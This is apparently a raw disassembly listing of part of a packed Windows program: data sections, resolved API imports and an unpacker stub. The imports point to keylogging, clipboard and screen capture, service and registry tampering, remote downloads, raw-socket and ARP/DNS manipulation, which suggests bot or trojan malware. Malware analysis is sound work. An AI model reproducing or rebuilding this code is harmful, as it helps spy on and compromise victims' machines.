dword_431F48	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_431F80	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4320E0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41BFEC+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_432240	dd offset off_41DCAC	; DATA XREF: .nsp0:off_41DCD0o
					; .nsp0:0041DDFCo ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_432258	dd offset off_41DCAC	; DATA XREF: .nsp0:off_41DCE8o
					; .nsp0:0041DD7Co ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_432278	dd offset off_41DCAC	; DATA XREF: .nsp0:off_41DD00o
					; .nsp0:0041DD44o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_432298	dd offset off_41DCAC	; DATA XREF: .nsp0:off_41DD88o
					; .nsp0:0041DDCCo ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_4322B8	dd offset off_41DCAC	; DATA XREF: .nsp0:off_41DE08o
					; .nsp0:0041DE44o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41A7CF
		dd 10Ah	dup(0)
dword_4326FC	dd 2 dup(0)	dword_432704	dd 0							; .nsp0:0040F80Ao ...
byte_432708	db 0			; DATA XREF: sub_4031F5+10o
					; sub_40516F+74o ...
		align 4
dword_43270C	dd 0							; sub_40405E+51r ...
dword_432710	dd 0							; sub_4038B1+82r ...
		align 8
dword_432718	dd 0							; sub_405CA4+92w ...
dword_43271C	dd 0							; sub_405FF1+D9w ...
		dd 256h	dup(0)
dword_433078	dd 6 dup(0)						; sub_405DDD+138o ...
dword_433090	dd 0							; .nsp0:004059CAo
dword_433094	dd 41h dup(0)	dword_433198	dd 41h dup(0)	dword_43329C	dd 0							; .nsp0:004059DCr
dword_4332A0	dd 0		dword_4332A4	dd 0							; .nsp0:00405997r
dword_4332A8	dd 20h dup(0)						; .nsp0:00405982o
dword_433328	dd 0		dword_43332C	dd 0							; .nsp0:0040598Fw
dword_433330	dd 0				align 8
dword_433338	dd 0							; .nsp0:00405BF6o
dword_43333C	dd 0A2h	dup(0)	dword_4335C4	dd 41h dup(0)	dword_4336C8	dd 0							; .nsp0:00405BA9r
		align 10h
dword_4336D0	dd 0							; .nsp0:00405C08r
dword_4336D4	dd 0		dword_4336D8	dd 0		dword_4336DC	dd 0				dd 0
dword_4336E4	dd 0		dword_4336E8	dd 0		dword_4336EC	dd 82h dup(0)	dword_4338F4	dd 0							; .nsp0:00405AFBr
dword_4338F8	dd 0		dword_4338FC	dd 0				dd 21h dup(0)
dword_433984	dd 0		dword_433988	dd 0				align 10h
dword_433990	dd 0		; resolved to->GDI32.DeleteDC					; sub_4068C6+4CDr
dword_433994	dd 0		; resolved to->KERNEL32.Module32First					; sub_410A77+F5r
dword_433998	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_4068C6+862r ...
dword_43399C	dd 0							; sub_4068C6+A18r ...
dword_4339A0	dd 0							; sub_4068C6+9E8r ...
dword_4339A4	dd 0		; resolved to->GDI32.SelectObject					; sub_4068C6+4BDr
dword_4339A8	dd 0		; resolved to->USER32.GetKeyState					; sub_4021FB+109r ...
dword_4339AC	dd 0							; sub_4068C6+A10r ...
dword_4339B0	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_4068C6+3A9r ...
dword_4339B4	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_4089A5+11Er
dword_4339B8	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_4068C6+3B1r ...
dword_4339BC	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_410065+ADr
dword_4339C0	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_4068C6+53Cw
dword_4339C4	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_4068C6+D2r ...
dword_4339C8	dd 0							; sub_4068C6+9DBr ...
dword_4339CC	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_4068C6+3C9r ...
dword_4339D0	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_4068C6+88Er
dword_4339D4	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_4068C6+2D6r
dword_4339D8	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_4068C6+886r ...
dword_4339DC	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequencydword_4339E0	dd 0		; resolved to->WININET.InternetReadFile					; sub_4068C6+896r ...
dword_4339E4	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_4068C6+52Fw ...
dword_4339E8	dd 0		; resolved to->KERNEL32.Process32Next					; sub_4068C6+CAr ...
dword_4339EC	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_4080EB+11Ar
dword_4339F0	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_4068C6+A6Dr ...
dword_4339F4	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4068C6+F2r
dword_4339F8	dd 0		; resolved to->GDI32.GetDIBColorTable					; sub_4068C6+4B5r
dword_4339FC	dd 0		; resolved to->WS2_32.ntohl					; sub_4068C6+5D8w ...
dword_433A00	dd 0							; sub_4068C6+A08r
dword_433A04	dd 0		; resolved to->WS2_32.ntohs					; sub_4068C6+5CBw ...
dword_433A08	dd 0		dword_433A0C	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_4068C6+84Fr ...
dword_433A10	dd 0		; resolved to->USER32.ExitWindowsEx					; sub_407CC7+15r
dword_433A14	dd 0							; sub_4068C6+9F0r ...
dword_433A18	dd 0		; resolved to->ADVAPI32.ControlService					; sub_4068C6+3B9r ...
dword_433A1C	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_4068C6+3C1r ...
dword_433A20	dd 0							; sub_4068C6+C5Dr
dword_433A24	dd 0		; resolved to->WS2_32.getpeernamedword_433A28	dd 0		; resolved to->WS2_32.WSACleanup					; .nsp0:loc_401B70r ...
dword_433A2C	dd 0		; resolved to->GDI32.DeleteObjectdword_433A30	dd 0							; sub_4068C6+A20r ...
dword_433A34	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_4068C6+2DEr ...
dword_433A38	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_4068C6+DAr ...
dword_433A3C	dd 0		; resolved to->SHELL32.ShellExecuteA					; sub_4068C6+B75r ...
dword_433A40	dd 0		; resolved to->WS2_32.WSAStartup					; .nsp0:004018F9r ...
dword_433A44	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_4068C6+872r
dword_433A48	dd 0							; sub_4068C6+9F8r
dword_433A4C	dd 0							; sub_4068C6+C10r
dword_433A50	dd 0		; resolved to->USER32.GetForegroundWindow					; sub_4021FB+63r ...
dword_433A54	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_4068C6+910r ...
dword_433A58	dd 0		dword_433A5C	dd 0		; resolved to->WS2_32.WSAGetLastError					; .nsp0:00401483r ...
dword_433A60	dd 0		; resolved to->WININET.InternetOpenA					; sub_4068C6+855r
dword_433A64	dd 0		; resolved to->USER32.GetWindowTextA					; sub_4021FB+78r ...
dword_433A68	dd 0		; resolved to->USER32.IsWindow					; sub_4068C6+1C2r
dword_433A6C	dd 0		; resolved to->WS2_32.getsockname					; sub_4068C6+786r ...
dword_433A70	dd 0		; resolved to->WS2_32.connect					; sub_40516F+62r ...
dword_433A74	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_4068C6+549w ...
dword_433A78	dd 0							; sub_4068C6:loc_4071A1w ...
dword_433A7C	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_4068C6+2C6r ...
dword_433A80	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_4068C6+681w ...
dword_433A84	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_4068C6+323r ...
dword_433A88	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_4068C6+3D1r ...
dword_433A8C	dd 0							; sub_4068C6+C08r
dword_433A90	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_4068C6+86Ar
dword_433A94	dd 0		; resolved to->USER32.GetAsyncKeyState					; sub_4068C6+206w ...
dword_433A98	dd 0		; resolved to->USER32.OpenClipboard					; sub_4068C6+1D2r ...
dword_433A9C	dd 0		; resolved to->WININET.InternetConnectA					; sub_4068C6+87Ar
dword_433AA0	dd 0		; resolved to->WSOCK32.recvfrom					; sub_4068C6+606w ...
dword_433AA4	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_409026+5Ar ...
dword_433AA8	dd 0		; resolved to->WSOCK32.setsockopt					; .nsp0:00401939r ...
dword_433AAC	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_4068C6+316r ...
dword_433AB0	dd 0		; resolved to->WS2_32.select					; sub_405290+1FCr ...
dword_433AB4	dd 0		; resolved to->GDI32.CreateDCA					; sub_4068C6+490r
dword_433AB8	dd 0		; resolved to->USER32.GetClipboardData					; sub_4068C6+1DAr ...
dword_433ABC	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_4068C6+39Cr ...
dword_433AC0	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_433AC4	dd 0		; resolved to->WS2_32.ntohl					; .nsp0:004012ABr ...
dword_433AC8	dd 0		; resolved to->WS2_32.ntohs					; .nsp0:0040114Fr ...
dword_433ACC	dd 0		; resolved to->KERNEL32.Process32First					; sub_4068C6+C2r ...
dword_433AD0	dd 0		; resolved to->GDI32.GetDeviceCaps					; sub_4068C6+4ADr
dword_433AD4	dd 0		; resolved to->USER32.FindWindowA					; sub_4068C6+1BAr ...
dword_433AD8	dd 0							; sub_41094E+72r
dword_433ADC	dd 0		; resolved to->WS2_32.gethostname					; sub_4068C6+78Er
dword_433AE0	dd 0		; resolved to->WSOCK32.recv					; sub_402E17+75r ...
dword_433AE4	dd 0							; sub_4068C6+C18r
dword_433AE8	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_4068C6+BAr ...
dword_433AEC	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_4068C6+2CEr ...
dword_433AF0	dd 0		; resolved to->WS2_32.listen					; sub_406250+9Cr ...
dword_433AF4	dd 0		; resolved to->WS2_32.bind					; sub_404175+89r ...
dword_433AF8	dd 0		dword_433AFC	dd 0		; resolved to->WININET.InternetCloseHandle					; .nsp0:00409637r
dword_433B00	dd 0		dword_433B04	dd 0							; sub_4068C6+BF3r
dword_433B08	dd 0		; resolved to->WS2_32.inet_addr					; sub_4032B0+ECr ...
dword_433B0C	dd 0		; resolved to->GDI32.CreateDIBSection					; sub_4068C6+49Dr
dword_433B10	dd 0		; resolved to->GDI32.BitBlt					; sub_4068C6+4C5r
dword_433B14	dd 0		; resolved to->GDI32.CreateCompatibleDC					; sub_4068C6+4A5r
dword_433B18	dd 0		; resolved to->WS2_32.send					; sub_402E96+35r ...
dword_433B1C	dd 0		; resolved to->USER32.CloseClipboard					; sub_4068C6+1E2r ...
dword_433B20	dd 0							; sub_4068C6+A28r ...
dword_433B24	dd 0		; resolved to->USER32.SendMessageA					; sub_4068C6+1ADr
dword_433B28	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_4068C6+E2r ...
dword_433B2C	dd 0		; resolved to->WS2_32.sendto					; .nsp0:00401B08r ...
dword_433B30	dd 0							; sub_4068C6+B30r
dword_433B34	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_410A0C+55r
dword_433B38	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_4068C6+2B9r ...
dword_433B3C	dd 0		; resolved to->SHELL32.SHChangeNotifydword_433B40	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_407F67+CEr
dword_433B44	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_4068C6+AB7r ...
dword_433B48	dd 0		; resolved to->WS2_32.socket					; .nsp0:00401C2Br ...
dword_433B4C	dd 0		; resolved to->WS2_32.gethostbyname					; sub_4068C6+674w ...
dword_433B50	dd 0							; sub_4068C6+C00r
dword_433B54	dd 0		; resolved to->WS2_32.inet_ntoa					; sub_405290+250r ...
dword_433B58	dd 0							; sub_4068C6+A00r ...
dword_433B5C	dd 0		; resolved to->WS2_32.accept					; sub_406250+B3r ...
dword_433B60	dd 0		; resolved to->WS2_32.closesocket					; .nsp0:00401B69r ...
dword_433B64	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_404175+39Fr ...
dword_433B68	dd 0							; sub_4068C6+B28r
dword_433B6C	dd 0		; resolved to->WS2_32.WSASocketA					; .nsp0:00401919r ...
dword_433B70	dd 0							; sub_4068C6+B1Br
dword_433B74	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_4068C6+ADr ...
dword_433B78	dd 0		; resolved to->USER32.DestroyWindow					; sub_4068C6+1CAr
		align 10h
dword_433B80	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_4068C6+91Dr ...
dword_433B84	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_4068C6+EAr ...
dword_433B88	dd 0							; sub_4068C6+12Bw ...
dword_433B8C	dd 0							; sub_407553+1Cr
dword_433B90	dd 0							; sub_4068C6:loc_406B1Bw ...
dword_433B94	dd 0							; sub_407553+50r
dword_433B98	dd 0							; sub_4068C6:loc_406BF5w ...
dword_433B9C	dd 0							; sub_407553+84r
dword_433BA0	dd 0							; sub_407553:loc_407603r
dword_433BA4	dd 0							; sub_407553+B8r
dword_433BA8	dd 0							; sub_407553:loc_407637r
dword_433BAC	dd 0							; sub_407553+ECr
dword_433BB0	dd 0							; sub_4068C6+8D1w ...
dword_433BB4	dd 0							; sub_407553+120r
dword_433BB8	dd 0							; sub_407553:loc_40769Fr ...
dword_433BBC	dd 0							; sub_407553+154r
dword_433BC0	dd 0							; sub_407553:loc_4076D3r ...
dword_433BC4	dd 0							; sub_407553+188r
dword_433BC8	dd 0							; sub_407553:loc_407707r
dword_433BCC	dd 0							; sub_407553+1BCr
dword_433BD0	dd 0							; sub_407553:loc_40773Br
dword_433BD4	dd 0							; sub_407553+1F0r
dword_433BD8	dd 0							; sub_407553:loc_40776Fr
dword_433BDC	dd 0							; sub_407553+224r
dword_433BE0	dd 0							; sub_407553:loc_4077A3r
dword_433BE4	dd 0							; sub_407553+258r
dword_433BE8	dd 0							; sub_407553:loc_4077D7r
dword_433BEC	dd 0							; sub_407553+28Cr
dword_433BF0	dd 0							; sub_407553:loc_40780Br
dword_433BF4	dd 0							; sub_407553+2C0r
		dd 81h dup(0)
dword_433DFC	dd 5 dup(0)	dword_433E10	dd 0							; .nsp0:004085D0r
dword_433E14	dd 0							; .nsp0:004085B3r ...
dword_433E18	dd 0		dword_433E1C	dd 0		dword_433E20	dd 0Dh dup(0)	dword_433E54	dd 0							; .nsp0:00408668r ...
		dd 0
dword_433E5C	dd 0Eh dup(0)	dword_433E94	dd 1000h dup(0)						; sub_408EB7o ...
dword_437E94	dd 0							; sub_408EB7+Eo ...
dword_437E98	dd 0Eh dup(0)	dword_437ED0	dd 2 dup(0)	dword_437ED8	dd 0							; sub_408D1F+44r ...
		dd 5 dup(0)
dword_437EF0	dd 0							; .nsp0:0040AC38r
		dd 2D9h	dup(0)
dword_438A58	dd 0							; sub_408D1F+2Do ...
		dd 7Fh dup(0)
dword_438C58	dd 0							; sub_411AD5+40w ...
dword_438C5C	dd 0							; sub_405DDD:loc_405E24r ...
dword_438C60	dd 0							; sub_411AD5+3Ar ...
dword_438C64	dd 0							; sub_404175+7Ew ...
dword_438C68	dd 0							; .nsp0:00406612r ...
dword_438C6C	dd 0							; .nsp0:004059EAw ...
byte_438C70	db 0			; DATA XREF: sub_40A059+91o
					; .nsp0:0040D14Br ...
		align 4
		dd 32B7h dup(0)
dword_445750	dd 71FEh dup(0)	dword_461F48	dd 0							; .nsp0:00409B38w ...
		align 10h
dword_461F50	dd 0		dword_461F54	dd 20h dup(0)						; .nsp0:00409FBCo ...
dword_461FD4	dd 10h dup(0)						; .nsp0:0040ABBDo
dword_462014	dd 24h dup(0)	dword_4620A4	dd 0							; .nsp0:00409FD3w ...
dword_4620A8	dd 0				dd 3 dup(0)
dword_4620B8	dd 0		dword_4620BC	dd 0							; .nsp0:0040A5AFr
byte_4620C0	db 0			; DATA XREF: sub_40A1C1+28r
					; sub_40A1C1+30o
		align 8
dword_4620C8	dd 0							; .nsp0:00409F87r ...
dword_4620CC	dd 0							; .nsp0:0040AB61r
dword_4620D0	dd 17h dup(0)						; sub_40FBB5+131o ...
dword_46212C	dd 7 dup(0)						; sub_41094E+A5o
dword_462148	dd 0							; sub_411C01+19o
dword_46214C	dd 78h dup(0)	dword_46232C	dd 0							; sub_40FF2F+4Dr ...
dword_462330	dd 17h dup(0)						; sub_41081A+12Do
dword_46238C	dd 80h dup(0)						; sub_40FE70+7Do ...
byte_46258C	db 0			; DATA XREF: sub_40FF2F+29r
					; sub_40FF2F+34w
		align 10h
dword_462590	dd 80h dup(0)						; sub_410186+88o ...
dword_462790	dd 81h dup(0)						; sub_40FA8C+50o ...
dword_462994	dd 84h dup(0)	dword_462BA4	dd 0		dword_462BA8	dd 0							; sub_4134A4+A4w
		align 10h
word_462BB0	dw 0			; DATA XREF: sub_4134A4+55r
					; sub_4134A4+9Ao
word_462BB2	dw 0			; DATA XREF: sub_4134A4+48r
		db 2 dup(0)
word_462BB6	dw 0			; DATA XREF: sub_4134A4+3Br
word_462BB8	dw 0			; DATA XREF: sub_4134A4+2Er
word_462BBA	dw 0			; DATA XREF: sub_4134A4+21r
		align 10h
dword_462BC0	dd 0							; sub_413668+91w
dword_462BC4	dd 0							; sub_41380E:loc_41388Aw ...
dword_462BC8	dd 0							; sub_414E9B:loc_414F35w ...
dword_462BCC	dd 0		dword_462BD0	dd 0		dword_462BD4	dd 0		dword_462BD8	dd 0		dword_462BDC	dd 0		dword_462BE0	dd 0							; sub_418FF6+91w
dword_462BE4	dd 0							; .nsp0:00409E07r ...
		dd 0
dword_462BEC	dd 0							; sub_41BCD9+9r ...
dword_462BF0	dd 0		dword_462BF4	dd 0							; sub_41C0A7+4r ...
		dd 3 dup(0)
byte_462C04	db 0			; DATA XREF: sub_413FF9+2Dw
					; sub_419A48+5r
		align 4
dword_462C08	dd 0		dword_462C0C	dd 0							; sub_413FF9+8Bw
dword_462C10	dd 0							; sub_418F3D:loc_418F4Fr ...
		align 8
dword_462C18	dd 0		dword_462C1C	dd 0				dd 0
dword_462C24	dd 0							; sub_413D8F:loc_413E8Br ...
dword_462C28	dd 0		dword_462C2C	dd 0							; sub_4169EA+1Ar ...
byte_462C30	db 0			; DATA XREF: sub_4168E6+3r
					; sub_4168E6+98r ...
		align 4
dword_462C34	dd 0							; sub_416AC8+21w ...
byte_462C38	db 0			; DATA XREF: sub_416AC8+51w
		align 4
dword_462C3C	dd 0							; sub_417099+3Ar ...
dword_462C40	dd 0							; sub_417099+43r ...
dword_462C44	dd 0							; sub_416E65+5r
dword_462C48	dd 0		dword_462C4C	dd 0							; .nsp0:0041868Dw ...
		dd 2 dup(0)
dword_462C58	dd 0							; sub_413A37+9Dr ...
		dd 3 dup(0)
dword_462C68	dd 0							; sub_4142C9+BFr ...
		align 10h
dword_462C70	dd 0							; sub_418A29+4w ...
dword_462C74	dd 0							; .nsp0:00418DA7w ...
dword_462C78	dd 41h dup(0)	dword_462D7C	dd 0							; sub_419243+23w ...
dword_462D80	dd 0		dword_462D84	dd 0							; sub_415150+154w ...
dword_462D88	dd 0							; .nsp0:loc_419B2Ew
dword_462D8C	dd 0		word_462D90	dw 0			; DATA XREF: sub_41A6AC+1Ao
					; sub_41A6AC+46r
byte_462D92	db 0			; DATA XREF: sub_41A6AC+39r
		align 4
dword_462D94	dd 7 dup(0)	dword_462DB0	dd 0							; sub_41A6AC+5Co
dword_462DB4	dd 0		dword_462DB8	dd 0		dword_462DBC	dd 0		dword_462DC0	dd 0							; sub_41A7CF+38r ...
		align 8
dword_462DC8	dd 0							; sub_41AA32+63w ...
		align 10h
dword_462DD0	dd 0							; sub_41AA32+46r
dword_462DD4	dd 10h dup(0)	word_462E14	dw 0			; DATA XREF: sub_41AC90+A8r
word_462E16	dw 0			; DATA XREF: sub_41AA32+54r
					; sub_41AC90+DBr ...
word_462E18	dw 0			; DATA XREF: sub_41AC90+CAr
word_462E1A	dw 0			; DATA XREF: sub_41AC90+D3r
					; sub_41AC90:loc_41AD82r
word_462E1C	dw 0			; DATA XREF: sub_41AC90+C0r
word_462E1E	dw 0			; DATA XREF: sub_41AC90+B8r
word_462E20	dw 0			; DATA XREF: sub_41AC90+B0r
word_462E22	dw 0			; DATA XREF: sub_41AC90+9Er
dword_462E24	dd 0		dword_462E28	dd 10h dup(0)	word_462E68	dw 0			; DATA XREF: sub_41AC90+46r
word_462E6A	dw 0			; DATA XREF: sub_41AA32:loc_41AAA9r
					; sub_41AC90+78r ...
word_462E6C	dw 0			; DATA XREF: sub_41AC90+67r
word_462E6E	dw 0			; DATA XREF: sub_41AC90+70r
					; sub_41AC90:loc_41AD14r
word_462E70	dw 0			; DATA XREF: sub_41AC90+5Dr
word_462E72	dw 0			; DATA XREF: sub_41AC90+55r
word_462E74	dw 0			; DATA XREF: sub_41AC90+4Dr
word_462E76	dw 0			; DATA XREF: sub_41AC90+3Er
dword_462E78	dd 0		dword_462E7C	dd 0							; sub_41AA32:loc_41AB7Er ...
dword_462E80	dd 0		dword_462E84	dd 0		; resolved to->USER32.MessageBoxA					; sub_41AFBE+2Ew ...
dword_462E88	dd 0		; resolved to->USER32.GetActiveWindow					; sub_41AFBE:loc_41B00Dr
dword_462E8C	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_41AFBE+60r
dword_462E90	dd 0		dword_462E94	dd 0							; sub_41BB67+6Do
dword_462E98	dd 0							; sub_41BB67+44o
dword_462E9C	dd 0							; sub_41BB67+37o
dword_462EA0	dd 0							; sub_41BB67+51o
		align 8
dword_462EA8	dd 0							; sub_41C115+48w ...
byte_462EAC	db 0			; DATA XREF: sub_40388Fr sub_40388F+9w ...
		align 10h
dword_462EB0	dd 0							; sub_4152C0+14r ...
		align 10h
dword_462EC0	dd 400h	dup(0)						; .nsp0:00431BB0o
dword_463EC0	dd 0							; sub_415019+56r ...
		dd 7 dup(0)
dword_463EE0	dd 0							; sub_418180+75r ...
dword_463EE4	dd 3Fh dup(0)	dword_463FE0	dd 0							; sub_418259+Cr ...
dword_463FE4	dd 0							; .nsp0:004188F5w ...
		align 10h
dword_463FF0	dd 3 dup(0)						; .nsp0:00418A01o ...
dword_463FFC	dd 0							; .nsp0:004189EDw ...
byte_464000	db 0			; DATA XREF: sub_418ACF:loc_418BDBw
					; sub_418ACF:loc_418BF8w ...
		align 4
		dd 3Fh dup(0)
byte_464100	db 0			; DATA XREF: .nsp0:004188ECo
					; .nsp0:0041893Fo ...
byte_464101	db 0			; DATA XREF: sub_413BF8+5Dr
					; .nsp0:00418930w ...
		align 4
		dd 40h dup(0)
dword_464204	dd 0							; .nsp0:004189BBw ...
dword_464208	dd 0							; sub_415A2C+5r ...
dword_46420C	dd 0							; sub_4153F8+259r ...
dword_464210	dd 0							; sub_4153F8+310w ...
dword_464214	dd 0							; sub_4153F8+22Cr ...
dword_464218	dd 0							; sub_4153CDr ...
dword_46421C	dd 0							; sub_4153CD+8r ...
dword_464220	dd 0							; sub_412813+21r ...
dword_464224	dd 0							; .nsp0:00418EF4r ...
dword_464228	dd 0							; sub_41BCD9r
dword_46422C	dd 0							; sub_418C54+11w ...
dword_464230	dd 0							; sub_4131A3:loc_4131E5r ...
dword_464234	dd 0							; sub_4131A3+Cr ...
byte_464238	db 0			; DATA XREF: sub_41C994+15r
					; sub_41C994+1Ew
		align 4
		dd 371h	dup(0)
		db 90h
; ---------------------------------------------------------------------------
		pusha
		call	loc_46500A
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		jmp	short loc_46500E
; ---------------------------------------------------------------------------


loc_46500A:				; CODE XREF: .nsp0:00465002j
		pop	ebp
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------


loc_46500E:				; CODE XREF: .nsp0:00465008j
		call	loc_465014
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_465014:				; CODE XREF: .nsp0:loc_46500Ej
		pop	ebp
		mov	ebx, 0FFFFFFEDh
		add	ebx, ebp
		sub	ebx, 65000h
		cmp	byte ptr [ebp+4Dh], 1
		jnz	short loc_465034
		mov	esi, [esp+28h]
		cmp	esi, 1
		mov	[ebp+4Eh], ebx
		jnz	short loc_465065


loc_465034:				; CODE XREF: .nsp0:00465026j
		lea	eax, [ebp+53h]
		push	eax
		push	ebx
		push	dword ptr [ebp+9EDh]
		lea	eax, [ebp+35h]
		push	eax
		jmp	loc_4650CA
; ---------------------------------------------------------------------------
dword_465048	dd 3D0000h, 30000h, 7C809AE4h, 3FE000h,	7C801D77h, 7C80B6A1h
					; DATA XREF: .nsp0:004654C8o
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_465065:				; CODE XREF: .nsp0:00465032j
		mov	eax, 23A5C0F8h
		push	eax
		push	eax
		add	eax, [ebp+4Eh]
		pop	ebx
		test	eax, eax
		jz	short loc_465090
		jmp	short loc_465077
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_465077:				; CODE XREF: .nsp0:00465074j
		cmp	ebx, 23A5C0F8h
		jz	short loc_4650B4
		xor	edx, edx
		push	esi
		push	0
		push	esi
		push	dword ptr [ebp+4Eh]
		call	eax
		pop	esi
		cmp	esi, 0
		jnz	short loc_4650B4


loc_465090:				; CODE XREF: .nsp0:00465072j
		xor	edx, edx
		mov	eax, [ebp+41h]
		test	eax, eax
		jz	short loc_4650A0
		push	edx
		push	edx
		push	dword ptr [ebp+35h]
		call	eax


loc_4650A0:				; CODE XREF: .nsp0:00465097j
		mov	eax, [ebp+35h]
		test	eax, eax
		jz	short loc_4650B4
		push	8000h
		push	0
		push	dword ptr [ebp+35h]
		call	dword ptr [ebp+3Dh]


loc_4650B4:				; CODE XREF: .nsp0:0046507Dj
					; .nsp0:0046508Ej ...
		pop	ebx
		or	ebx, ebx
		popa
		jnz	short loc_4650C0
		push	1
